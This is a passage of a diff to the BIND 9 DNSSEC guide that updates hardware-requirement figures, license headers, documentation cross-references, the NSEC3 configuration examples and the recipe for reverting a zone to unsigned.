-   built by make with defaults
-   compiled by GCC 6.3.0 20170516
-   compiled with OpenSSL version: OpenSSL 1.1.0l  10 Sep 2019
-   linked to OpenSSL version: OpenSSL 1.1.0l  10 Sep 2019
-   compiled with libxml2 version: 2.9.4
-   linked to libxml2 version: 20904
-   compiled with json-c version: 0.12.1
-   linked to json-c version: 0.12.1
-   compiled with zlib version: 1.2.8
-   linked to zlib version: 1.2.8
-   threads support is enabled
-
-   default paths:
-     named configuration:  /usr/local/etc/named.conf
-     rndc configuration:   /usr/local/etc/rndc.conf
-     DNSSEC root key:      /usr/local/etc/bind.keys
-     nsupdate session key: /usr/local/var/run/named/session.key
-     named PID file:       /usr/local/var/run/named/named.pid
-     named lock file:      /usr/local/var/run/named/named.lock
-
-If the BIND 9 software you have does not support DNSSEC, you should
-upgrade it. (It has not been possible to build BIND without DNSSEC
-support since BIND 9.13, released in 2018.) As well as missing out on
-DNSSEC support, you are also missing a number of security fixes
-made to the software in recent years.
-
-.. _system_entropy:
-
-System Entropy
-^^^^^^^^^^^^^^
-
-To deploy DNSSEC to your authoritative server, you
-need to generate cryptographic keys. The amount of time it takes to
-generate the keys depends on the source of randomness, or entropy, on
-your systems. On some systems (especially virtual machines) with
-insufficient entropy, it may take much longer than one cares to wait to
-generate keys.
-
-There are software packages, such as ``haveged`` for Linux, that
-provide additional entropy for a system. Once installed, they
-significantly reduce the time needed to generate keys.
-
-The more entropy there is, the better pseudo-random numbers you get, and
-the stronger the keys that are generated. If you want or need high-quality random
-numbers, take a look at :ref:`hardware_security_modules` for some of
-the hardware-based solutions.
+This guide assumes BIND 9.18.0 or newer, although the more elaborate manual
+procedures do work with all versions of BIND later than 9.9.
+
+We recommend running the latest stable version to get the most
+complete DNSSEC configuration, as well as the latest security fixes.
 
 .. _hardware_requirements:
 
@@ -116,33 +38,22 @@ Recursive Server Hardware
 Enabling DNSSEC validation on a recursive server makes it a *validating
 resolver*. The job of a validating resolver is to fetch additional
 information that can be used to computationally verify the answer set.
-Below are the areas that should be considered for possible hardware
-enhancement for a validating resolver:
+Contrary to popular belief, the increase in resource consumption is very modest:
 
-1. *CPU*: a validating resolver executes cryptographic functions on many
-   of the answers returned, which usually leads to increased CPU usage,
-   unless your recursive server has built-in hardware to perform
-   cryptographic computations.
+1. *CPU*: a validating resolver executes cryptographic functions on cache-miss
+   answers, which leads to increased CPU usage. Thanks to standard DNS caching
+   and contemporary CPUs, the increase in CPU-time consumption in a steady
+   state is negligible - typically on the order of 5%. For a brief period (a few
+   minutes) after the resolver starts, the increase might be as much as 20%, but it
+   quickly decreases as the DNS cache fills in.
 
 2. *System memory*: DNSSEC leads to larger answer sets and occupies
-   more memory space.
+   more memory space. With typical ISP traffic and the state of the Internet as
+   of mid-2022, memory consumption for the cache increases by roughly 20%.
 
 3. *Network interfaces*: although DNSSEC does increase the amount of DNS
-   traffic overall, it is unlikely that you need to upgrade your network
-   interface card (NIC) on the name server unless you have some truly
-   outdated hardware.
-
-One factor to consider is the destinations of your current DNS
-traffic. If your current users spend a lot of time visiting ``.gov`` 
-websites, you should expect a jump in all of the above
-categories when validation is enabled, because ``.gov`` is more than 90%
-signed. This means that more than 90% of the time, your validating resolver
-will be doing what is described in
-:ref:`how_does_dnssec_change_dns_lookup`. However, if your users
-only care about resources in the ``.com`` domain, which, as of mid-2020,
-is under 1.5% signed [#]_, your recursive name server is unlikely
-to experience a significant load increase after enabling DNSSEC
-validation.
+   traffic overall, in practice this increase is often within measurement
+   error.
 
 .. _authoritative_server_hardware:
 
@@ -151,8 +62,8 @@ Authoritative Server Hardware
 
 On the authoritative server side, DNSSEC is enabled on a zone-by-zone
 basis. When a zone is DNSSEC-enabled, it is also known as "signed."
-Below are the areas to consider for possible hardware
-enhancements for an authoritative server with signed zones:
+Below are the expected changes to resource consumption caused by serving
+DNSSEC-signed zones:
 
 1. *CPU*: a DNSSEC-signed zone requires periodic re-signing, which is a
    cryptographic function that is CPU-intensive. If your DNS zone is
@@ -161,12 +72,17 @@ enhancements for an authoritative server with signed zones:
 2. *System storage*: A signed zone is definitely larger than an unsigned
    zone. How much larger? See
    :ref:`your_zone_before_and_after_dnssec` for a comparison
-   example. Roughly speaking, you should expect your zone file to grow by at
-   least three times, and frequently more.
+   example. The final size depends on the structure of the zone, the signing algorithm,
+   the number of keys, the choice of NSEC or NSEC3, the ratio of signed delegations, the zone file
+   format, etc. Usually, the size of a signed zone ranges from a negligible
+   increase to as much as three times the size of the unsigned zone.
 
 3. *System memory*: Larger DNS zone files take up not only more storage
    space on the file system, but also more space when they are loaded
-   into system memory.
+   into system memory. The final memory consumption also depends on all the
+   variables listed above: in the typical case the increase is around half of
+   the unsigned zone memory consumption, but it can be as high as three times
+   for some corner cases.
 
 4. *Network interfaces*: While your authoritative name servers will
    begin sending back larger responses, it is unlikely that you need to
@@ -174,18 +90,13 @@ enhancements for an authoritative server with signed zones:
    you have some truly outdated hardware.
 
 One factor to consider, but over which you really have no control, is
-the number of users who query your domain name who themselves have DNSSEC enabled. It was
-estimated in late 2014 that roughly 10% to 15% of the Internet DNS
-queries were DNSSEC-aware. Estimates by `APNIC <https://www.apnic.net/>`__
-suggest that in 2020 about `one-third <https://stats.labs.apnic.net/dnssec>`__ of all queries are
-validating queries, although the percentage varies widely on a
-per-country basis. This means that more DNS queries for your domain will
+the number of users who query your domain name who themselves have DNSSEC
+enabled. As of mid-2022, measurements by `APNIC
+<https://stats.labs.apnic.net/dnssec>`__ show 41% of Internet users send
+DNSSEC-aware queries. This means that more DNS queries for your domain will
 take advantage of the additional security features, which will result in
 increased system load and possibly network traffic.
 
-.. [#]
-   https://rick.eng.br/dnssecstat
-
 .. _network_requirements:
 
 Network Requirements
diff --git a/doc/dnssec-guide/introduction.rst b/doc/dnssec-guide/introduction.rst
index 1f66a951d0..aadc4e049b 100644
--- a/doc/dnssec-guide/introduction.rst
+++ b/doc/dnssec-guide/introduction.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. _dnssec_guide_introduction:
 
@@ -40,7 +41,7 @@ Who May Not Want to Read this Guide?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you are already operating a DNSSEC-signed zone, you may not learn
-much from the first half of this document, and you may want to start with 
+much from the first half of this document, and you may want to start with
 :ref:`dnssec_advanced_discussions`. If you want to
 learn about details of the protocol extension, such as data fields and flags,
 or the new record types, this document can help you get started but it
@@ -218,9 +219,9 @@ trust one key: the root key.
 .. _dnssec_12_steps:
 
 The 12-Step DNSSEC Validation Process (Simplified)
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The following example shows the 12 steps of the DNSSEC validating process 
+The following example shows the 12 steps of the DNSSEC validating process
 at a very high level, looking up the name ``www.isc.org`` :
 
 .. figure:: ../dnssec-guide/img/dnssec-12-steps.png
@@ -249,7 +250,7 @@ at a very high level, looking up the name ``www.isc.org`` :
 
     Let's take a quick break here and look at what we've got so far...
     how can our server trust this answer? If a clever attacker had taken over
-    the ``isc.org`` name server(s), or course she would send matching
+    the ``isc.org`` name server(s), of course she would send matching
     keys and signatures. We need to ask someone else to have confidence
     that we are really talking to the real ``isc.org`` name server. This
     is a critical part of DNSSEC: at some point, the DNS administrators
@@ -305,7 +306,7 @@ at a very high level, looking up the name ``www.isc.org`` :
 .. _chain_of_trust:
 
 Chain of Trust
-^^^^^^^^^^^^^^
+~~~~~~~~~~~~~~
 
 But what about the root server itself? Who do we go to verify root's
 keys? There's no parent zone for root. In security, you have to trust
diff --git a/doc/dnssec-guide/preface.rst b/doc/dnssec-guide/preface.rst
index 68152c893c..fb6bd67d68 100644
--- a/doc/dnssec-guide/preface.rst
+++ b/doc/dnssec-guide/preface.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 Preface
 -------
@@ -34,7 +35,7 @@ some examples of tools to verify that the resolver is properly validating
 answers.
 
 :ref:`dnssec_signing` explains how to set up a basic signed
-authoritative zone, details the relationship between a child and a parent zone, 
+authoritative zone, details the relationship between a child and a parent zone,
 and discusses ongoing maintenance tasks.
 
 :ref:`dnssec_troubleshooting` provides some tips on how to analyze
@@ -57,7 +58,7 @@ Acknowledgements
 
 This document was originally authored by Josh Kuo of `DeepDive
 Networking <https://www.deepdivenetworking.com/>`__. He can be reached
-at josh@deepdivenetworking.com.
+at josh.kuo@gmail.com.
 
 Thanks to the following individuals (in no particular order) who have
 helped in completing this document: Jeremy C. Reed, Heidi Schempf,
diff --git a/doc/dnssec-guide/recipes.rst b/doc/dnssec-guide/recipes.rst
index 6fc52e06c0..e961584d61 100644
--- a/doc/dnssec-guide/recipes.rst
+++ b/doc/dnssec-guide/recipes.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. _dnssec_recipes:
 
@@ -52,8 +53,8 @@ on them.
 
 Using the method described in
 :ref:`easy_start_guide_for_authoritative_servers`, we just need to
-add a ``dnssec-policy`` statement to the relevant zone clause. This is
-what the ``named.conf`` zone statement looks like on the primary server, 192.168.1.1:
+add a :any:`dnssec-policy` statement to the relevant zone clause. This is
+what the :iscman:`named.conf` zone statement looks like on the primary server, 192.168.1.1:
 
 ::
 
@@ -71,7 +72,7 @@ custom policy, define the policy in the configuration
 file and select it in the zone statement (as described in
 :ref:`signing_custom_policy`).
 
-On the secondary servers, ``named.conf`` does not need to be updated,
+On the secondary servers, :iscman:`named.conf` does not need to be updated,
 and it looks like this:
 
 ::
@@ -131,7 +132,7 @@ the parent zone. This server is configured as secondary to the hidden
 primary 192.168.1.1 to receive the unsigned data; then, using keys
 accessible to this middle box, to sign data on the fly; and finally, to send out the
 signed data via zone transfer to the other three DNS secondaries. Its
-``named.conf`` zone statement looks like this:
+:iscman:`named.conf` zone statement looks like this:
 
 ::
 
@@ -150,7 +151,7 @@ and use a custom policy.)
 
 Finally, on the three secondary servers, the configuration should be updated
 to receive a zone transfer from 192.168.1.5 (the middle box) instead of
-from 192.168.1.1 (the hidden primary). If using BIND, the ``named.conf`` file looks
+from 192.168.1.1 (the hidden primary). If using BIND, the :iscman:`named.conf` file looks
 like this:
 
 ::
@@ -166,12 +167,12 @@ like this:
 Rollovers
 ~~~~~~~~~
 
-If you are signing your zone using a ``dnssec-policy`` statement, this
+If you are signing your zone using a :any:`dnssec-policy` statement, this
 section is not really relevant to you. In the policy statement, you set how long
 you want your keys to be valid for, the time
 taken for information to propagate through your zone, the time it takes
 for your parent zone to register a new DS record, etc., and that's more
-or less it. ``named`` implements everything for you automatically, apart from
+or less it. :iscman:`named` implements everything for you automatically, apart from
 uploading the new DS records to your parent zone - which is covered in
 :ref:`signing_easy_start_upload_to_parent_zone`. (Some
 screenshots from a session where a KSK is uploaded to the parent zone
@@ -226,26 +227,26 @@ generate a successor key (51623):
 
    ./Kexample.com.+008+17694.private
    # dnssec-keygen -S Kexample.com.+008+17694
-   Generating key pair..++++++ ...........++++++ 
+   Generating key pair..++++++ ...........++++++
    Kexample.com.+008+51623
 
 The first command gets us into the key directory
 ``/etc/bind/keys/example.com/``, where keys for ``example.com`` are
 stored.
 
-The second, ``dnssec-settime``, sets an inactive (``-I``) date of January 1,
-2021, and a deletion (``-D``) date of February 1, 2021, for the current ZSK
+The second, :iscman:`dnssec-settime`, sets an inactive (:option:`-I <dnssec-settime -I>`) date of January 1,
+2021, and a deletion (:option:`-D <dnssec-settime -D>`) date of February 1, 2021, for the current ZSK
 (``Kexample.com.+008+17694``).
 
-The third command, ``dnssec-keygen``, creates a successor key, using
+The third command, :iscman:`dnssec-keygen`, creates a successor key, using
 the exact same parameters (algorithms, key sizes, etc.) as the current
 ZSK. The new ZSK created in our example is ``Kexample.com.+008+51623``.
 
-Make sure the successor keys are readable by ``named``.
+Make sure the successor keys are readable by :iscman:`named`.
 
-``named``'s logging messages indicate when the next
+:iscman:`named`'s logging messages indicate when the next
 key checking event is scheduled to occur, the frequency of which can be
-controlled by ``dnssec-loadkeys-interval``. The log message looks like
+controlled by :any:`dnssec-loadkeys-interval`. The log message looks like
 this:
 
 ::
@@ -258,7 +259,7 @@ file:
 ::
 
    # cd /etc/bind/keys/example.com
-   # cat Kexample.com.+008+51623.key 
+   # cat Kexample.com.+008+51623.key
    ; This is a zone-signing key, keyid 11623, for example.com.
    ; Created: 20201130160024 (Mon Dec  1 00:00:24 2020)
    ; Publish: 20201202000000 (Fri Dec  2 08:00:00 2020)
@@ -322,7 +323,7 @@ the new ZSK is in effect:
 
 These are all the manual tasks you need to perform for a ZSK rollover.
 If you have followed the configuration examples in this guide of using
-``inline-signing`` and ``auto-dnssec``, everything else is automated for
+:any:`inline-signing` and :any:`dnssec-policy`, everything else is automated for
 you by BIND.
 
 Day of ZSK Rollover
@@ -375,9 +376,9 @@ One Month After ZSK Rollover
 
 Again, technically there is nothing you need to do on this day,
 but it doesn't hurt to verify that the old ZSK (17694) is now completely
-gone from your zone. ``named`` will not touch
+gone from your zone. :iscman:`named` will not touch
 ``Kexample.com.+008+17694.private`` and ``Kexample.com.+008+17694.key``
-on your file system. Running the same ``dig`` command for DNSKEY should
+on your file system. Running the same :iscman:`dig` command for DNSKEY should
 suffice:
 
 ::
@@ -477,7 +478,7 @@ DS record based on the new key, 23550:
    ./Kexample.com.+007+24848.key
    ./Kexample.com.+007+24848.private
    # dnssec-keygen -S Kexample.com.+007+24848
-   Generating key pair.......................................................................................++ ...................................++ 
+   Generating key pair.......................................................................................++ ...................................++
    Kexample.com.+007+23550
    # dnssec-dsfromkey -a SHA-1 Kexample.com.+007+23550.key
    example.com. IN DS 23550 7 1 54FCF030AA1C79C0088FDEC1BD1C37DAA2E70DFB
@@ -486,23 +487,23 @@ The first command gets us into the key directory
 ``/etc/bind/keys/example.com/``, where keys for ``example.com`` are
 stored.
 
-The second, ``dnssec-settime``, sets an inactive (``-I``) date of January 1,
-2021, and a deletion (``-D``) date of February 1, 2021 for the current KSK
+The second, :iscman:`dnssec-settime`, sets an inactive (:option:`-I <dnssec-settime -I>`) date of January 1,
+2021, and a deletion (:option:`-D <dnssec-settime -D>`) date of February 1, 2021 for the current KSK
 (``Kexample.com.+007+24848``).
 
-The third command, ``dnssec-keygen``, creates a successor key, using
+The third command, :iscman:`dnssec-keygen`, creates a successor key, using
 the exact same parameters (algorithms, key sizes, etc.) as the current
 KSK. The new key pair created in our example is ``Kexample.com.+007+23550``.
 
-The fourth and final command, ``dnssec-dsfromkey``, creates a DS record
+The fourth and final command, :iscman:`dnssec-dsfromkey`, creates a DS record
 from the new KSK (23550), using SHA-1 as the digest type. Again, in
 practice most people generate two DS records for both supported digest
 types (SHA-1 and SHA-256), but for our example here we are only using
 one to keep the output small and hopefully clearer.
 
-Make sure the successor keys are readable by ``named``.
+Make sure the successor keys are readable by :iscman:`named`.
 
-The ``syslog`` message indicates when the next key
+The :any:`syslog` message indicates when the next key
 checking event is. The log message looks like this:
 
 ::
@@ -690,7 +691,7 @@ One Month After KSK Rollover
 ++++++++++++++++++++++++++++
 
 While the removal of the old DNSKEY from the zone should be automated by
-``named``, the removal of the DS record is manual. You should make sure
+:iscman:`named`, the removal of the DS record is manual. You should make sure
 the old DNSKEY record is gone from your zone first, by querying for the
 DNSKEY records of the zone; this time we expect not to see
 the key with an ID of 24828:
@@ -777,7 +778,7 @@ Migrating from NSEC to NSEC3
 
 This recipe describes how to transition from using NSEC to NSEC3, as described
 in :ref:`advanced_discussions_proof_of_nonexistence`. This recipe
-assumes that the zones are already signed, and that ``named`` is configured
+assumes that the zones are already signed, and that :iscman:`named` is configured
 according to the steps described in
 :ref:`easy_start_guide_for_authoritative_servers`.
 
@@ -792,24 +793,23 @@ according to the steps described in
    NSEC3 will fall back to treating the zone as unsecured (rather than
    "bogus"), as described in Section 2 of :rfc:`5155`.
 
-To enable NSEC3, update your ``dnssec-policy`` and add the desired NSEC3
+To enable NSEC3, update your :any:`dnssec-policy` and add the desired NSEC3
 parameters. The example below enables NSEC3 for zones with the ``standard``
-DNSSEC policy, using 10 iterations, no opt-out, and a random string that is
-16 characters long:
+DNSSEC policy, using 0 additional iterations, no opt-out, and a zero-length salt:
 
 ::
 
     dnssec-policy "standard" {
-        nsec3param iterations optout no salt-length 16;
+        nsec3param iterations 0 optout no salt-length 0;
     };
 
-Then reconfigure the server with ``rndc``. You can tell that it worked if you
+Then reconfigure the server with :iscman:`rndc`. You can tell that it worked if you
 see the following debug log messages:
 
 ::
 
    Oct 21 13:47:21 received control channel command 'reconfig'
-   Oct 21 13:47:21 zone example.com/IN (signed): zone_addnsec3chain(1,CREATE,10,1234567890ABCDEF)
+   Oct 21 13:47:21 zone example.com/IN (signed): zone_addnsec3chain(1,CREATE,0,-)
 
 You can also verify that it worked by querying for a name that you know
 does not exist, and checking for the presence of the NSEC3 record.
@@ -820,15 +820,15 @@ For example:
    $ dig @192.168.1.13 thereisnowaythisexists.example.com. A +dnssec +multiline
 
    ...
-   TOM10UQBL336NFAQB3P6MOO53LSVG8UI.example.com. 300 IN NSEC3 1 0 10 1234567890ABCDEF (
+   5A03TL362CS8VSIH69CVA4MJIKRHFQH3.example.com. 300 IN NSEC3 1 0 0 - (
                    TQ9QBEGA6CROHEOC8KIH1A2C06IVQ5ER
                    NS SOA RRSIG DNSKEY NSEC3PARAM )
    ...
 
-Our example used four parameters: 1, 0, 10, and 1234567890ABCDEF, in
+Our example used four parameters: 1, 0, 0, and -, in
 order. 1 represents the algorithm, 0 represents the
-opt-out flag, 10 represents the number of iterations, and
-1234567890ABCDEF is the salt. To learn more about each of these
+opt-out flag, 0 represents the number of additional iterations, and
+- denotes no salt is used. To learn more about each of these
 parameters, please see :ref:`advanced_discussions_nsec3param`.
 
 .. _recipes_nsec3_to_nsec:
@@ -836,14 +836,14 @@ parameters, please see :ref:`advanced_discussions_nsec3param`.
 Migrating from NSEC3 to NSEC
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
-Migrating from NSEC3 back to NSEC is easy; just remove the ``nsec3param``
-configuration option from your ``dnssec-policy`` and reconfigure the name
+Migrating from NSEC3 back to NSEC is easy; just remove the :any:`nsec3param`
+configuration option from your :any:`dnssec-policy` and reconfigure the name
 server. You can tell that it worked if you see these messages in the log:
 
 ::
 
    named[14093]: received control channel command 'reconfig'
-   named[14093]: zone example.com/IN: zone_addnsec3chain(1,REMOVE,10,1234567890ABCDEF)
+   named[14093]: zone example.com/IN: zone_addnsec3chain(1,REMOVE,0,-)
 
 You can also query for a name that you know does not exist,
 and you should no longer see any traces of NSEC3 records.
@@ -858,45 +858,6 @@ and you should no longer see any traces of NSEC3 records.
    ns1.example.com.    300 IN NSEC web.example.com. A RRSIG NSEC
    ...
 
-.. _recipes_nsec3_salt:
-
-Changing the NSEC3 Salt
-^^^^^^^^^^^^^^^^^^^^^^^
-
-In :ref:`advanced_discussions_nsec3_salt`, we discuss the
-reasons why you may want to change your salt periodically for better
-privacy. In this recipe, we look at what command to execute to
-actually change the salt, and how to verify that it has been changed.
-
-The ``dnssec-policy`` currently has no easy way to re-salt using the
-same salt length, so to change your NSEC3 salt you need to change the
-``salt-length`` value and reconfigure your server. You should see
-the following messages in the log, assuming your old salt was
-"1234567890ABCDEF" and ``named`` created "FEDCBA09" (salt length 8)
-as the new salt:
-
-::
-
-   named[15848]: zone example.com/IN: zone_addnsec3chain(1,REMOVE,10,1234567890ABCDEF)
-   named[15848]: zone example.com/IN: zone_addnsec3chain(1,CREATE|OPTOUT,10,FEDCBA0987654321)
-
-To verify that it worked, you can query the name server (192.168.1.13 in our
-example) for a name that you know does not exist, and check the NSEC3 record
-returned:
-
-::
-
-   $ dig @192.168.1.13 thereisnowaythisexists.example.com. A +dnssec +multiline
-
-   ...
-   TOM10UQBL336NFAQB3P6MOO53LSVG8UI.example.com. 300 IN NSEC3 1 0 10 FEDCBA09 (
-                   TQ9QBEGA6CROHEOC8KIH1A2C06IVQ5ER
-                   NS SOA RRSIG DNSKEY NSEC3PARAM )
-   ...
-
-If you want to use the same salt length, you can repeat the above steps and
-go back to your original length value.
-
 .. _recipes_nsec3_optout:
 
 NSEC3 Opt-Out
@@ -908,6 +869,15 @@ the results of each action. As discussed in
 that can help conserve resources on parent zones with many
 delegations that have not yet been signed.
 
+.. warning::
+   NSEC3 Opt-Out feature brings benefit only to _extremely_ large zones with lots
+   of insecure delegations. It's use is counterproductive in all other cases as
+   it decreases tamper-resistance of the zone and also decreases efficiency of
+   resolver cache (see :rfc:`8198`).
+
+   In other words, don't enable Opt-Out unless you are serving an equivalent of
+   ``com.`` zone.
+
 Because the NSEC3PARAM record does not keep track of whether opt-out is used,
 it is hard to check whether changes need to be made to the NSEC3 chain if the flag
 is changed. Similar to changing the NSEC3 salt, your best option is to change
@@ -943,25 +913,25 @@ Before enabling NSEC3 opt-out, the zone ``example.com`` contains ten
 NSEC3 records; below is the list with the plain text name before the actual
 NSEC3 record:
 
--  *aaa.example.com*: 9NE0VJGTRTMJOS171EC3EDL6I6GT4P1Q.example.com.
+-  *aaa.example.com*: IFA1I3IE7EKCTPHM6R58URO3Q846I52M.example.com
 
--  *bbb.example.com*: AESO0NT3N44OOSDQS3PSL0HACHUE1O0U.example.com.
+-  *bbb.example.com*: ROJUF3VJSJO6LQ2LC1DNSJ5GBAUJPVHE.example.com
 
--  *ccc.example.com*: SF3J3VR29LDDO3ONT1PM6HAPHV372F37.example.com.
+-  *ccc.example.com*: 0VPUT696LUVDPDS5NIHSHBH9KLV20V5K.example.com
 
--  *ddd.example.com*: TQ9QBEGA6CROHEOC8KIH1A2C06IVQ5ER.example.com.
+-  *ddd.example.com*: UHPBD5U4HRGB84MLC2NQOVEFNAKJU0CA.example.com
 
--  *eee.example.com*: L16L08NEH48IFQIEIPS1HNRMQ523MJ8G.example.com.
+-  *eee.example.com*: NF7I61FA4C2UEKPMEDSOC25FE0UJIMKT.example.com
 
--  *ftp.example.com*: JKMAVHL8V7EMCL8JHIEN8KBOAB0MGUK2.example.com.
+-  *ftp.example.com*: 8P15KCUAT1RHCSDN46HBQVPI5T532IN1.example.com
 
--  *ns1.example.com*: FSK5TK9964BNE7BPHN0QMMD68IUDKT8I.example.com.
+-  *ns1.example.com*: GUFVRA2SFIO8RSFP7UO41E8AD1KR41FH.example.com
 
--  *web.example.com*: D65CIIG0GTRKQ26Q774DVMRCNHQO6F81.example.com.
+-  *web.example.com*: CVQ4LA4ALPQIAO2H3N2RB6IR8UHM91E7.example.com
 
--  *www.example.com*: NTQ0CQEJHM0S17POMCUSLG5IOQQEDTBJ.example.com.
+-  *www.example.com*: MIFDNDT3NFF3OD53O7TLA1HRFF95JKUK.example.com
 
--  *example.com*: TOM10UQBL336NFAQB3P6MOO53LSVG8UI.example.com.
+-  *example.com*: ONIB9MGUB9H0RML3CDF5BGRJ59DKJHVK.example.com
 
 We can enable NSEC3 opt-out with the following configuration, changing
 the ``optout`` configuration value from ``no`` to ``yes``:
@@ -969,44 +939,44 @@ the ``optout`` configuration value from ``no`` to ``yes``:
 ::
 
    dnssec-policy "standard" {
-       nsec3param iterations 10 optout yes salt-length 16;
+       nsec3param iterations 0 optout yes salt-length 0;
    };
 
 After NSEC3 opt-out is enabled, the number of NSEC3 records is reduced.
 Notice that the unsigned delegations ``aaa``, ``ccc``, ``ddd``, and
 ``eee`` no longer have corresponding NSEC3 records.
 
--  *bbb.example.com*: AESO0NT3N44OOSDQS3PSL0HACHUE1O0U.example.com.
+-  *bbb.example.com*: ROJUF3VJSJO6LQ2LC1DNSJ5GBAUJPVHE.example.com
 
--  *ftp.example.com*: JKMAVHL8V7EMCL8JHIEN8KBOAB0MGUK2.example.com.
+-  *ftp.example.com*: 8P15KCUAT1RHCSDN46HBQVPI5T532IN1.example.com
 
--  *ns1.example.com*: FSK5TK9964BNE7BPHN0QMMD68IUDKT8I.example.com.
+-  *ns1.example.com*: GUFVRA2SFIO8RSFP7UO41E8AD1KR41FH.example.com
 
--  *web.example.com*: D65CIIG0GTRKQ26Q774DVMRCNHQO6F81.example.com.
+-  *web.example.com*: CVQ4LA4ALPQIAO2H3N2RB6IR8UHM91E7.example.com
 
--  *www.example.com*: NTQ0CQEJHM0S17POMCUSLG5IOQQEDTBJ.example.com.
+-  *www.example.com*: MIFDNDT3NFF3OD53O7TLA1HRFF95JKUK.example.com
 
--  *example.com*: TOM10UQBL336NFAQB3P6MOO53LSVG8UI.example.com.
+-  *example.com*: ONIB9MGUB9H0RML3CDF5BGRJ59DKJHVK.example.com
 
 To undo NSEC3 opt-out, change the configuration again:
 
 ::
 
    dnssec-policy "standard" {
-       nsec3param iterations 10 optout no salt-length 16;
+       nsec3param iterations 0 optout no salt-length 0;
    };
 
 .. note::
 
    NSEC3 hashes the plain text domain name, and we can compute our own
-   hashes using the tool ``nsec3hash``. For example, to compute the
+   hashes using the tool :iscman:`nsec3hash`. For example, to compute the
    hashed name for ``www.example.com`` using the parameters we listed
    above, we can execute this command:
 
    ::
 
-      # nsec3hash 1234567890ABCDEF 1 10 www.example.com.
-      NTQ0CQEJHM0S17POMCUSLG5IOQQEDTBJ (salt=1234567890ABCDEF, hash=1, iterations=10)
+      # nsec3hash - 1 0 www.example.com.
+      MIFDNDT3NFF3OD53O7TLA1HRFF95JKUK (salt=-, hash=1, iterations=0)
 
 .. _revert_to_unsigned:
 
@@ -1016,12 +986,40 @@ Reverting to Unsigned
 This recipe describes how to revert from a signed zone (DNSSEC) back to
 an unsigned (DNS) zone.
 
-Whether the world thinks your zone is signed is determined by the
-presence of DS records hosted by your parent zone; if there are no DS records,
-the world sees your zone as unsigned. So reverting to unsigned is as
-easy as removing all DS records from the parent zone.
+Here is what :iscman:`named.conf` looks like when it is signed:
+
+.. code-block:: none
+  :emphasize-lines: 4
+
+   zone "example.com" IN {
+       type primary;
+       file "db/example.com.db";
+       dnssec-policy "default";
+   };
+
+To indicate the reversion to unsigned, change the :any:`dnssec-policy` line:
+
+.. code-block:: none
+  :emphasize-lines: 4
 
-Below is an example showing how to remove DS records using the
+   zone "example.com" IN {
+       type primary;
+       file "db/example.com.db";
+       dnssec-policy "insecure";
+   };
+
+Then use :option:`rndc reload` to reload the zone.
+
+The "insecure" policy is a built-in policy (like "default"). It makes sure
+the zone is still DNSSEC-maintained, to allow for a graceful transition to
+unsigned. It also publishes the CDS and CDNSKEY DELETE records automatically
+at the appropriate time.
+
+If the parent zone allows management of DS records via CDS/CDNSKEY, as described in
+:rfc:`8078`, the DS record should be removed from the parent automatically.
+
+Otherwise, DS records can be removed via the registrar. Below is an example
+showing how to remove DS records using the
 `GoDaddy <https://www.godaddy.com>`__ web-based interface:
 
 1. After logging in, click the green "Launch" button next to the domain
@@ -1066,49 +1064,17 @@ Below is an example showing how to remove DS records using the
 
       Revert to Unsigned Step #4
 
-To be on the safe side, wait a while before actually deleting
-all signed data from your zone, just in case some validating resolvers
-have cached information. After you are certain that all cached
-information has expired (usually this means one TTL interval has passed),
-you may reconfigure your zone.
-
-Here is what ``named.conf`` looks like when it is signed:
-
-::
-
-   zone "example.com" IN {
-       type primary;
-       file "db/example.com.db";
-       allow-transfer { any; };
-       dnssec-policy "default";
-   };
-
-Change your ``dnssec-policy`` line to indicate you want to revert to unsigned:
-
-::
-
-   zone "example.com" IN {
-       type primary;
-       file "db/example.com.db";
-       allow-transfer { any; };
-       dnssec-policy "insecure";
-   };
-
-Then use ``rndc reload`` to reload the zone.
-
-The "insecure" policy is a built-in policy (like "default"). It will make sure
-the zone is still DNSSEC maintained, to allow for a graceful transition to
-unsigned.
-
 When the DS records have been removed from the parent zone, use
